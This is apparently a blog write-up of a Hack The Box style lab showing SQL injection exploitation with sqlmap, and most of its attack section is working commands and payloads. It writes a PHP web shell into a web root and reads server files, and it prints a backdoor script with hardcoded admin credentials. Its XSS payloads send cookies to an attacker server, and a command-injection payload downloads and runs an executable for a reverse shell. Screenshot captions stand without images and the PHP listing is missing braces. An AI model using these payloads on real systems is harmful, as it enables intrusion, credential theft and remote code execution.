SQLi Attack untold

Several months have passed by without any new security publications. Hoping to unveil my current research at this time labelled “The Untold SQLi Attack.” I would like to show some few different ways of exploiting the popular vulnerability known as SQL injection. According to OWASP, SQL injection is the crafting of malicious sql queries through the input data from the client to the application. A successful SQL Injection (SQLi) can read, insert, update, delete, execute administration operations on the database, recover the content of a given file present on the DBMS file system and in some cases issue commands to the operating system(read more).

Without talking much, let’s get started

Testing for SQLi:

Analyzing DATA Request in Burp Suite

SQL Error Message

Retrieving Databases with DATA request saved as file.txt

Databases Retrieved with SQLi

Retrieving Tables in Database Warehouse

Tables Retrieved from Database Warehouse

The above commands and methodology are what most of us are familiar with. When a database server and web server are run on the same system and share the same underlying file system, having an SQL injection and sufficient conditions (file permissions,DB privileges) are met then we can even upload a backdoor shell or read/download server configurations or files whose locations are generally predefined. Are there more ways of exploitations? Answer is Yes… Let’s see it.

Checking for Privileges

Administrator Privilege

You can see that the user has FILE privileges, as illustrated in the above screenshot, and we can use this to read / write files from the injection if the file system permissions allow this; To read / write files to the file system, MySQL runs a separate user account.

Writing Files into the File System

Uploaded File view in broswer.

Reading File in the File System

File Read Successfully

Uploading a malicious php script

Running a “whoami” with malicious script

Running a “dir” with malicious script

Great, we have a shell access to the server. Please note: This demonstration took place on a windows machine. When it comes to a linux machine, some commands and paths may vary.

File Write

root@kali:~/htb/# cat s2.php <?php echo shell_exec($_GET["cmd"]); ?>
root@kali:~/htb/# sqlmap -r req2 --dbms mysql --file-write=s2.php --file-dest="C:/Inetpub/wwwroot/s2.php"

File Read

root@kali:~/htb/# sqlmap -r req2 --dbms mysql --file-read="C:/xampp/htdocs/adminbackdoorchecker.php"
root@kali:~/.sqlmap/output/10.10.x.x/files# cat C__xampp_htdocs_admin_backdoorchecker.php 

$username = base64_decode(urldecode($_COOKIE['username']));
$password = base64_decode(urldecode($_COOKIE['password']));
$bad = array('$(','&');
$good = "ls";

if(strtolower(substr(PHP_OS,0,3)) == "win"){
$good = "dir";

if($username == "admin" && $password == "Hopelessromantic"){
foreach($bad as $char){
if(strpos($_POST['cmd'],$char) !== false){
die("You're not allowed to do that.");
if(substr($_POST['cmd'], 0,strlen($good)) != $good){
die("It's only allowed to use the $good command");

if($_SERVER['REMOTE_ADDR'] == "::1"){
} else{
echo "It's only allowed to access this function from localhost (::1).<br> This is due to the recent hack attempts on our server.";
} else{
echo "You are not allowed to use this function!";

Working XSS scripts !

<script> <img src=x onerror=this.src=''+document.cookie></script>
root@kali:~/htb/# python3 -m http.server 8000
Serving HTTP on port 8000 ( ... - - [29/Jan/2020 03:24:29] code 404, message File not found - - [29/Jan/2020 03:24:29] "GET /bogus.php?output=username=YWRtaW4%3D;%20password=SG9wZWxlc3Nyb21hbnRpYw%3D%3D;%20id=1 HTTP/1.1" 404 -
<script type="text/javascript">var Http = new XMLHttpRequest();var url='/admin/backdoorchecker.php'; var params='cmd=dir| powershell -c "iwr -uri -outfile %temp%\a.exe";%temp%\a.exe -e cmd.exe 1111'
;Http.open("POST", url, true);Http.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');Http.send(params);</script>

Author : IG: that_faceless_coder